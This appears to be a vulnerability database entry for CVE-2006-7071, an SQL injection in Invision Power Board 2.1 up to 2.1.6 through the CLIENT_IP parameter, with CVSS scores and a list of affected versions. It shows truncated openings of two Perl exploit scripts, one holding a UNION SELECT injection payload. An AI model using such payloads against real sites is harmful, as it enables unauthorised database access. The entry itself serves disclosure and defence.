7.5
CVSSv2

CVE-2006-7071

Published: 02/03/2007 Updated: 11/10/2017
CVSS v2 Base Score: 7.5 | Impact Score: 6.4 | Exploitability Score: 10
VMScore: 760
Vector: AV:N/AC:L/Au:N/C:P/I:P/A:P

Vulnerability Summary

SQL injection vulnerability in classes/class_session.php in Invision Power Board (IPB) 2.1 up to 2.1.6 allows remote malicious users to execute arbitrary SQL commands via the CLIENT_IP parameter.

Vulnerable Product Search on Vulmon Subscribe to Product

invision power services invision power board 2.1.2

invision power services invision power board 2.1.3

invision power services invision power board 2.1.6

invision power services invision power board 2.1.1

invision power services invision power board 2.1.4

invision power services invision power board 2.1.5

Exploits

#!/usr/bin/perl use LWP::UserAgent; $ua = LWP::UserAgent->new; &header(); if (@ARGV < 2) {&info(); exit();} $server = $ARGV[0]; $dir = $ARGV[1]; print "[+] SERVER {$server}\r\n"; print "[+] DIR {$dir}\r\n"; #Step 1, detecting vulnerability print "[1] Testing forum vulnerability"; $q = "UNION SELECT 'VULN',1,1,1/*"; query($q,$serv ...
#!/usr/bin/perl ## Invision Power Board v21 <= 216 sql injection exploit by RST/GHC ## Based on LOCAL_IP bug, more info in RST/GHC Advisory#41 ## rstvoidru/papers/advisory41txt ## tested on 213, 216 ## ## 080606 ## (c)oded by 1dtw0lf ## RST/GHC ## rstvoidru ## ghcru use Tk; use Tk::BrowseEntry; use Tk::Dial ...